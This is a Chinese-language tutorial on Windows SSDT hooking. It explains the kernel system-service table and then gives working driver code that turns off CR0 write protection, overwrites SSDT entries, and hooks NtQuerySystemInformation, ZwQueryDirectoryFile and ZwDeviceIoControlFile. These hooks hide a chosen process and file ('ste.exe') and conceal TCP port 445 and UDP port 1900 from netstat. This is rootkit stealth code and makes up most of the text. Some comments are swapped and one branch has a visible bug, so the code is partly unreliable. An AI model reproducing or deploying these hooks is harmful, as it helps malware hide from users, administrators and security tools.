SSDT Hook技术详解与应用

一、SSDT简介

1、什么是SSDT

​ SSDT 的全称是 System Services Descriptor Table，系统服务描述符表。这个表就是一个把 Ring3 的 Win32 API 和 Ring0 的内核 API 联系起来。SSDT 并不仅仅只包含一个庞大的地址索引表，它还包含着一些其它有用的信息，诸如地址索引的基地址、服务函数个数等。通过修改此表的函数地址可以对常用 Windows 函数及 API 进行 Hook，从而实现对一些关心的系统动作进行过滤、监控的目的。一些 HIPS、防毒软件、系统监控、注册表监控软件往往会采用此接口来实现自己的监控模块。

​ 在 NT 4.0 以上的 Windows 操作系统中，默认就存在两个系统服务描述表，这两个调度表对应了两类不同的系统服务，这两个调度表为：KeServiceDescriptorTable 和 KeServiceDescriptorTableShadow，其中 KeServiceDescriptorTable 主要是处理来自 Ring3 层得 Kernel32.dll 中的系统调用，而 KeServiceDescriptorTableShadow 则主要处理来自 User32.dll 和 GDI32.dll 中的系统调用，并且 KeServiceDescriptorTable 在 ntoskrnl.exe(Windows 操作系统内核文件，包括内核和执行体层)是导出的，而 KeServiceDescriptorTableShadow 则是没有被 Windows 操作系统所导出，而关于 SSDT 的全部内容则都是通过 KeServiceDescriptorTable 来完成的。

2、SSDT结构

​ 下图是IDA分析的ntoskrnl.exe中导出的KeServiceDescriptorTable 结构。

​ 下面是KeServiceDescriptorTable 的具体含义。

~~~c++
typedef struct _KSYSTEM_SERVICE_TABLE{
PULONG ServiceTableBase; // SSDT (System Service Dispatch Table)的基地址
PULONG ServiceCounterTableBase; // 用于 checked builds, 包含 SSDT 中每个服务被调用的次数
ULONG NumberOfService; // 服务函数的个数, NumberOfService * 4 就是整个地址表的大小
ULONG ParamTableBase; // SSPT(System Service Parameter Table)的基地址
} KSYSTEM_SERVICE_TABLE, *PKSYSTEM_SERVICE_TABLE;

​ 有了上面的介绍后，我们可以简单的将 KeServiceDescriptor 看做是一个数组了(其实质也就是个数组)，**在应用层 ntdll.dll 中的 API 在这个系统服务描述表(SSDT)中都存在一个与之相对应的服务，当我们的应用程序调用 ntdll.dll 中的 API 时，最终会调用内核中与之相对应的系统服务，由于有了 SSDT，所以我们只需要告诉内核需要调用的服务所在 SSDT 中的索引就 OK 了，然后内核根据这个索引值就可以在 SSDT 中找到相对应的服务了，然后再由内核调用服务完成应用程序 API 的调用请求即可。基本结构可以参考下图：

3、应用层调用 Win32 API 的完整执行流程

​ 有了上面的 SSDT 基础后，我们再来看一下在应用层调用 Win32 API(这里主要指的是 ntdll.dll 中的 API)的完整流程，这里我们主要是分析 ntdll.dll 中的 NtQuerySystemInformation 这个 API 的调用流程。

​ (PS:Windows 任务管理器即是通过这个 API 来获取到系统的进程等等信息的)。

再给出这些个 API 的基本的调用流程

​ 实质上，在 Windows 操作系统中，Ntdll.dll 中的ZwQuerySystemInformation 和 NtQuerySystemInformation 是同一函数，可以通过下面的截图看出，这两个函数的入口地址指向同一区域，他们的函数入口地址都是一样的 。

​ 众所周知 Ntdll.dll 中的 API 都只不过是一个简单的包装函数而已，当 Kernel32.dll 中的 API 通过 Ntdll.dll 时，会完成参数的检查，再调用一个中断(int 2Eh 或者 SysEnter 指令)，从而实现从 Ring3 进入 Ring0 层，并且将所要调用的服务号(也就是在 SSDT 数组中的索引值)存放到寄存器 EAX 中，并且将参数地址放到指定的寄存器(EDX)中，再将参数复制到内核地址空间中，再根据存放在 EAX 中的索引值来在 SSDT 数组中调用指定的服务 。

下面来看 ntoskrnl.exe 中的 ZwQuerySystemInformation：

​ 在上面的这幅截图中，可以看到在 Ring0 下的 ZwQuerySystemInformation 将 0ADh 放入了寄存器 eax 中，然后调用了系统服务分发函数 KiSystemService，而这个 KiSystemService 函数则是根据 eax 寄存器中的索引值，然后再 SSDT 数组中找到索引值为 eax 寄存器中存放的值得那个 SSDT 项，最后就是根据这个 SSDT 项中所存放的系统服务的地址来调用这个系统服务。比如在这里就是调用 KeServiceDescriptorTable[0ADh] 处所保存的地址所对应的系统服务 。也就是调用 Ring0 下的 NtQuerySystemInformation 了 。至此，在应用层中调用 NtQuerySystemInformation 的全部流程也就结束了 。

二、SSDT Hook原理

1、SSDT Hook原理简介

​ 有了上面的这部分基础后，就可以来看 SSDT HOOK 的原理了，其实 SSDT Hook 的原理是很简单的，从上面的分析中，我们可以知道在 SSDT 这个数组中，保存了系统服务的地址，比如对于 Ring0 下的 NtQuerySystemInformation 这个系统服务的地址，就保存在 KeServiceDescriptorTable[0ADh] 中，既然是 Hook 的话，我们就可以将这个 KeServiceDescriptorTable[0ADh] 下保存的服务地址替换掉，将我们自己的 Hook 处理函数的地址来替换掉原来的地址，这样当每次调用 KeServiceDescriptorTable[0ADh]时就会调用我们自己的这个 Hook 处理函数了。

​ 下面截图是SSDT Hook之前：

​ 下面的截图则是 SSDT Hook 之后，可以看到将 SSDT 中的服务地址修改为 MyHookNtQuerySystemInformation 了，这样的话，每次系统调用 NtQuerySystemInformation 这个系统服务时，实质上调用的就是MyHookNtQuerySystemInformation 了，而我们为了保证系统的稳定性(至少不让其崩溃)，一般会在 MyHookNtQuerySystemInformation 中调用系统中原来的服务，也就是 NtQuerySystemInformation。

​

​ 下面来看一下备份、修改、还原SSDT的具体代码：

//=====================================================================================////Name:KSYSTEM_SERVICE_TABLE  |  KSERVICE_TABLE_DESCRIPTOR 定义                        ////                                                                                     ////Descripion: 定义SSDT表结构与获取函数索引值和地址的基本方法                              ////                                                                                     ////=====================================================================================//typedef struct _KSYSTEM_SERVICE_TABLE{    PULONG  ServiceTableBase;        // SSDT (System Service Dispatch Table)的基地址    PULONG  ServiceCounterTableBase; // 包含 SSDT 中每个服务被调用的次数    ULONG   NumberOfService;     // 服务函数的个数, NumberOfService * 4 就是整个地址表的大小    ULONG   ParamTableBase;          // SSPT(System Service Parameter Table)的基地址} KSYSTEM_SERVICE_TABLE, *PKSYSTEM_SERVICE_TABLE;typedef struct _KSERVICE_TABLE_DESCRIPTOR{    KSYSTEM_SERVICE_TABLE   ntoskrnl; // ntoskrnl.exe 的服务函数    KSYSTEM_SERVICE_TABLE   win32k;   // win32k.sys 的服务函数(GDI32.dll/User32.dll 的内核支持)    KSYSTEM_SERVICE_TABLE   notUsed1;    KSYSTEM_SERVICE_TABLE   notUsed2;} KSERVICE_TABLE_DESCRIPTOR, *PKSERVICE_TABLE_DESCRIPTOR;extern PKSERVICE_TABLE_DESCRIPTOR KeServiceDescriptorTable;#define SYSCALL_FUNCTION(ServiceFunction) KeServiceDescriptorTable->ntoskrnl.ServiceTableBase[SYSCALL_INDEX(ServiceFunction)]#define SYSCALL_INDEX(ServiceFunction) (*(PULONG)((PUCHAR)ServiceFunction + 1))#define MAX_SYSTEM_SERVICE_NUMBER 0x128//用来保存 SSDT 中所有的旧的服务函数的地址ULONG oldSysServiceAddr[MAX_SYSTEM_SERVICE_NUMBER];//=====================================================================================////Name: VOID DisableWriteProtect()                                                     ////                                                                                     ////Descripion: 用来去掉内存的可写属性，从而实现内存只读                                 ////                                                                                     ////=====================================================================================//VOID DisableWriteProtect(ULONG oldAttr){    _asm    {        push eax        mov eax, oldAttr        mov cr0, eax        pop eax        sti;    }}//=====================================================================================////Name: VOID EnableWriteProtect()                                                      ////                                                                                     ////Descripion: 用来去掉内存的只读保护，从而实现可以写内存                               ////                                                                                     ////=====================================================================================//VOID EnableWriteProtect(PULONG pOldAttr){    ULONG uAttr;     _asm     {         cli;        push eax        mov  eax, cr0;         mov  uAttr, eax;         and  eax, 0FFFEFFFFh; // CR0 16 BIT = 0         mov  cr0, eax;         pop eax     };    //保存原有的 CRO 属性     *pOldAttr = uAttr; }//=====================================================================================////Name: VOID BackupSysServicesTable()                                                  ////                                                                                     ////Descripion: 备份 SSDT 中原有服务的地址，因为在解除 Hook 时需要还原 SSDT 中原有地址   ////                                                                                     ////=====================================================================================//VOID BackupSysServicesTable(){    ULONG i;    for(i = 0; (i < KeServiceDescriptorTable->ntoskrnl.NumberOfService) && (i < MAX_SYSTEM_SERVICE_NUMBER); i++)    {      oldSysServiceAddr[i] = KeServiceDescriptorTable->ntoskrnl.ServiceTableBase[i];    }}//=====================================================================================////Name: NTSTATUS InstallSysServiceHook()                                             ////                                                                                     ////Descripion: 实现 Hook 的安装，主要是在 SSDT 中将服务地址替换为新服务地址                ////                                                                                     ////=====================================================================================//NTSTATUS InstallSysServiceHook(ULONG oldService, ULONG newService){    ULONG uOldAttr = 0;    EnableWriteProtect(&uOldAttr);    SYSCALL_FUNCTION(oldService) = newService;    DisableWriteProtect(uOldAttr);    return STATUS_SUCCESS; }//=====================================================================================////Name: NTSTATUS UnInstallSysServiceHook()                                             ////                                                                                     ////Descripion: 实现 Hook 的解除，主要是在 SSDT 中用备份下的服务地址来替换掉 oldService  ////                                                                                     ////=====================================================================================//NTSTATUS UnInstallSysServiceHook(ULONG oldService){    ULONG uOldAttr = 0;    EnableWriteProtect(&uOldAttr);    SYSCALL_FUNCTION(oldService) = oldSysServiceAddr[SYSCALL_INDEX(oldService)];    DisableWriteProtect(uOldAttr);    return STATUS_SUCCESS;}

2、进程隐藏与保护

NTSTATUS HookNtQuerySystemInformation (    IN SYSTEM_INFORMATION_CLASS SystemInformationClass,    OUT PVOID SystemInformation,    IN ULONG SystemInformationLength,    OUT PULONG ReturnLength){    NTSTATUS rtStatus=STATUS_SUCCESS;    NTQUERYSYSTEMINFORMATION pOldNtQuerySystemInformation = (NTQUERYSYSTEMINFORMATION)oldSysServiceAddr[SYSCALL_INDEX(ZwQuerySystemInformation)];    rtStatus = pOldNtQuerySystemInformation(SystemInformationClass, SystemInformation, SystemInformationLength, ReturnLength);    if(NT_SUCCESS(rtStatus))    {        if(SystemProcessInformation==SystemInformationClass)        {            PSYSTEM_PROCESS_INFORMATION pPrevProcessInfo = NULL;            PSYSTEM_PROCESS_INFORMATION pCurrProcessInfo = (PSYSTEM_PROCESS_INFORMATION)SystemInformation;            UNICODE_STRING hideProcessName;            RtlInitUnicodeString(&hideProcessName,L"ste.exe");            while(pCurrProcessInfo != NULL)            {                //获取当前遍历的 SYSTEM_PROCESS_INFORMATION 节点的进程名称和进程 ID                ULONG uPID = (ULONG)pCurrProcessInfo->ProcessId;                UNICODE_STRING strTmpProcessName;                //RtlInitUnicodeString(&strTmpProcessName,L"");                strTmpProcessName = pCurrProcessInfo->ImageName;                //判断当前遍历的这个进程是否为需要隐藏的进程                if(unicodeStrCmp(hideProcessName,strTmpProcessName,strTmpProcessName.Length))                {                    if(pPrevProcessInfo)                    {                        if(pCurrProcessInfo->NextEntryOffset)                        {                             //将当前这个进程(即要隐藏的进程)从 SystemInformation 中摘除(更改链表偏移指针实现)                            pPrevProcessInfo->NextEntryOffset += pCurrProcessInfo->NextEntryOffset;                        }                        else                        {                            //说明当前要隐藏的这个进程是进程链表中的最后一个                            pPrevProcessInfo->NextEntryOffset = 0;                        }                    }                    else                    {                         //第一个遍历到得进程就是需要隐藏的进程                         if(pCurrProcessInfo->NextEntryOffset)                             (PCHAR)SystemInformation += pCurrProcessInfo->NextEntryOffset;                         else                             SystemInformation = NULL;                    }                }                //遍历下一个 SYSTEM_PROCESS_INFORMATION 节点                pPrevProcessInfo = pCurrProcessInfo;                //遍历结束                if(pCurrProcessInfo->NextEntryOffset)                    pCurrProcessInfo = (PSYSTEM_PROCESS_INFORMATION)(((PCHAR)pCurrProcessInfo) + pCurrProcessInfo->NextEntryOffset);                else                    pCurrProcessInfo=NULL;            }        }    }    return rtStatus;}

3、文件隐藏与保护

NTSTATUS HookZwQueryDirectoryFile(    IN HANDLE hFile,    IN HANDLE hEvent,    IN PIO_APC_ROUTINE IoApcRoutine,    IN PVOID IoApcContext,    OUT PIO_STATUS_BLOCK pIoStatusBlock,    OUT PVOID FileInformationBuffer,    IN ULONG FileInformationBufferLength,    IN FILE_INFORMATION_CLASS FileInfoClass,    IN BOOLEAN ReturnOnlyOneEntry,    IN PUNICODE_STRING FileName,    IN BOOLEAN RestartQuery){    NTSTATUS ntStatus;    LPFILE_NAMES_INFORMATION fileCurr;    LPFILE_NAMES_INFORMATION filePrev;    PFILE_BOTH_DIR_INFORMATION pFileInfo;    PFILE_BOTH_DIR_INFORMATION pPrevFileInfo;    BOOLEAN lastOne;    ULONG left;    ULONG pos;    WCHAR * hideFileName=L"ste.exe";    ZWQUERYDIRECTORYFILE pOldZwQueryDirectoryFile = (ZWQUERYDIRECTORYFILE)oldSysServiceAddr[SYSCALL_INDEX(ZwQueryDirectoryFile)];    ntStatus=((ZWQUERYDIRECTORYFILE)(pOldZwQueryDirectoryFile))(        hFile,        hEvent,        IoApcRoutine,        IoApcContext,        pIoStatusBlock,        FileInformationBuffer,        FileInformationBufferLength,        FileInfoClass,        ReturnOnlyOneEntry,        FileName,        RestartQuery);    if(!bHideFile)        return ntStatus;    //RtlInitUnicodeString(&hideFileName,L"ste.exe");    if(NT_SUCCESS(ntStatus)&& FileInfoClass==FileBothDirectoryInformation)    {        pFileInfo=(PFILE_BOTH_DIR_INFORMATION)FileInformationBuffer;        pPrevFileInfo=NULL;        do {            lastOne=!(pFileInfo->NextEntryOffset);            //RtlInitUnicodeString(&fileNameWide,pFileInfo->FileName);            if(wcharStrCmp(hideFileName,pFileInfo->FileName,14,pFileInfo->FileNameLength))            {                if(lastOne)                {                    if(pFileInfo==(PFILE_BOTH_DIR_INFORMATION)FileInformationBuffer)                        ntStatus=0x80000006;                    else                        pPrevFileInfo->NextEntryOffset=0;                }                else                {                    pos=((ULONG)pFileInfo)-((ULONG)FileInformationBuffer);                    left=(ULONG)FileInformationBufferLength-pos-pFileInfo->NextEntryOffset;                    RtlCopyMemory((PVOID)pFileInfo,(PVOID)((char *)pFileInfo+pFileInfo->NextEntryOffset),(ULONG)left);                    continue;                }            }            pPrevFileInfo=pFileInfo;            pFileInfo=(PFILE_BOTH_DIR_INFORMATION)((char *)pFileInfo+pFileInfo->NextEntryOffset);            //fileCurr=(LPFILE_NAMES_INFORMATION)((char *)fileCurr+fileCurr->NextEntryOffset);        } while(!lastOne);    }    if (NT_SUCCESS(ntStatus) && FileInfoClass==FileNamesInformation)    {        fileCurr=(LPFILE_NAMES_INFORMATION)FileInformationBuffer;        do         {            lastOne=!(fileCurr->NextEntryOffset); //取偏移            //fileNameLength=fileCurr->FileNameLength; //取长度            //RtlInitUnicodeString(&fileNameWide,fileCurr->FileName);            if(wcharStrCmp(hideFileName,pFileInfo->FileName,14,pFileInfo->FileNameLength))            {                if(lastOne)                {                    if (fileCurr==(LPFILE_NAMES_INFORMATION)FileInformationBuffer)                        ntStatus=0x80000006; //隐藏                    else                        filePrev->NextEntryOffset=0;                }                else                {                    //移动文件偏移                    pos=((ULONG)fileCurr)-((ULONG)FileInformationBuffer);                    left=(ULONG)FileInformationBufferLength-pos-fileCurr->NextEntryOffset;                    RtlCopyMemory((PVOID)fileCurr,(PVOID)((char *)fileCurr+fileCurr->NextEntryOffset),(ULONG)left);                    continue;                }            }            filePrev=fileCurr;            fileCurr=(LPFILE_NAMES_INFORMATION)((char *)fileCurr+fileCurr->NextEntryOffset);        }        while(!lastOne);    }    return ntStatus;}

4、端口隐藏

NTSTATUS HookZwDeviceIoControlFile(    IN HANDLE FileHandle,    IN HANDLE Event,    IN PIO_APC_ROUTINE ApcRoutine,    IN PVOID ApcContext,    OUT PIO_STATUS_BLOCK IoStatusBlock,    IN ULONG IoControlCode,    IN PVOID InputBuffer,    IN ULONG InputBufferLength,    OUT PVOID OutputBuffer,    IN ULONG OutputBufferLength){    NTSTATUS rtStatus=STATUS_SUCCESS;    TCPAddrEntry* TcpTable;    TCPAddrExEntry* TcpExTable;    UDPAddrEntry* UdpTable;    UDPAddrExEntry* UdpExTable;    ULONG numconn;    ULONG i;    ULONG RetLen;    UCHAR buff[512];    POBJECT_NAME_INFORMATION ObjectName=(PVOID)&buff;    ANSI_STRING ObjectNameAnsi;    PUCHAR InBuff;    ZWDEVICEIOCONTROLFILE pOldZwDeviceIoControlFile = (ZWDEVICEIOCONTROLFILE)oldSysServiceAddr[SYSCALL_INDEX(ZwDeviceIoControlFile)];    rtStatus = ((ZWDEVICEIOCONTROLFILE)(pOldZwDeviceIoControlFile)) (        FileHandle,        Event,        ApcRoutine,        ApcContext,        IoStatusBlock,        IoControlCode,        InputBuffer,        InputBufferLength,        OutputBuffer,        OutputBufferLength);    if(NT_SUCCESS(rtStatus) && IoControlCode==0x120003)//netstat use this IoControlCode    {        if(NT_SUCCESS(ZwQueryObject(FileHandle,ObjectNameInformation,ObjectName,512,&RetLen)))        {            RtlUnicodeStringToAnsiString(&ObjectNameAnsi,&ObjectName->Name,TRUE);            if (_strnicmp(ObjectNameAnsi.Buffer,TCP_PORT_DEVICE,strlen(TCP_PORT_DEVICE))==0)            {                if (((InBuff=(PUCHAR)InputBuffer)==NULL) || (InputBufferLength<17))//InputBuffer is wrong                    return rtStatus;                //对于TCP查询，输入缓冲的特征是 InputBuffer[0]为0x00，如果OutputBuffer中已经有了端口数据，则InputBuffer[17]为0x01，                //如果是扩展结 构，则InputBuffer[16]为0x02。对于UDP查询，InputBuffer[0]就为0x01了，InputBuffer[16]和 InputBuffer[17]的值和TCP查询是一样的。//-------------------------------------------------------TCP----------------------------------------------------------------------------                if ((InBuff[0]==0x00) && (InBuff[17]==0x01)) //TCP端口                {                    if (InBuff[16]!=0x02) //非扩展结构                    {                        numconn = IoStatusBlock->Information/sizeof(TCPAddrEntry);                        TcpTable = (TCPAddrEntry*)OutputBuffer;                        for( i=0; i<numconn; i++ )                        {                            if( ntohs(TcpTable[i].tae_ConnLocalPort) == 445 )                            {                                //DbgPrint("JiurlPortHide: HidePort %d/n", ntohs(TcpTable[i].tae_ConnLocalPort));                                memcpy( (TcpTable+i), (TcpTable+i+1), ((numconn-i-1)*sizeof(TCPAddrEntry)) );                                numconn--;                                i--;                            }                        }                        IoStatusBlock->Information = numconn*sizeof(TCPAddrEntry);                    }                    if(InBuff[16]==0x02)//扩展结构                    {                        numconn = IoStatusBlock->Information/sizeof(TCPAddrExEntry);                        TcpExTable = (TCPAddrExEntry*)OutputBuffer;                        for( i=0; i<numconn; i++ )                        {                            if( ntohs(TcpExTable[i].tae_ConnLocalPort) == 445 )                            if(TcpExTable[i].pid==0)                            {                                //DbgPrint("JiurlPortHide: HidePort %d/n",ntohs(TcpExTable[i].tae_ConnLocalPort));                                memcpy( (TcpExTable+i), (TcpExTable+i+1), ((numconn-i-1)*sizeof(TCPAddrExEntry)) );                                numconn--;                                i--;                            }                        }                        IoStatusBlock->Information = numconn*sizeof(TCPAddrExEntry);                    }                }//-----------------------------------------------------------UDP---------------------------------------------------------------                if ((InBuff[0]==0x01) && (InBuff[17]==0x01)) //TCP端口                {                    if (InBuff[16]!=0x02) //非扩展结构                    {                        numconn = IoStatusBlock->Information/sizeof(UDPAddrEntry);                        UdpTable = (UDPAddrEntry*)OutputBuffer;                        for( i=0; i<numconn; i++ )                        {                            if( ntohs(UdpTable[i].tae_ConnLocalPort) == 1900 )                            {                                //DbgPrint("JiurlPortHide: HidePort %d/n", ntohs(UdpTable[i].tae_ConnLocalPort));                                memcpy( (UdpTable+i), (UdpTable+i+1), ((numconn-i-1)*sizeof(UDPAddrEntry)) );                                numconn--;                                i--;                            }                        }                        IoStatusBlock->Information = numconn*sizeof(UDPAddrEntry);                    }                    if(InBuff[16]==0x02)//扩展结构                    {                        numconn = IoStatusBlock->Information/sizeof(UDPAddrExEntry);                        UdpExTable = (UDPAddrExEntry*)OutputBuffer;                        for( i=0; i<numconn; i++ )                        {                            if( ntohs(UdpExTable[i].tae_ConnLocalPort) == 1900 )                            {                                //DbgPrint("JiurlPortHide: HidePort %d/n",ntohs(UdpExTable[i].tae_ConnLocalPort));                                memcpy( (UdpExTable+i), (UdpExTable+i+1), ((numconn-i-1)*sizeof(UDPAddrExEntry)) );                                numconn--;                                i--;                            }                        }                        IoStatusBlock->Information = numconn*sizeof(UDPAddrExEntry);                    }                }            }        }    }    return rtStatus;}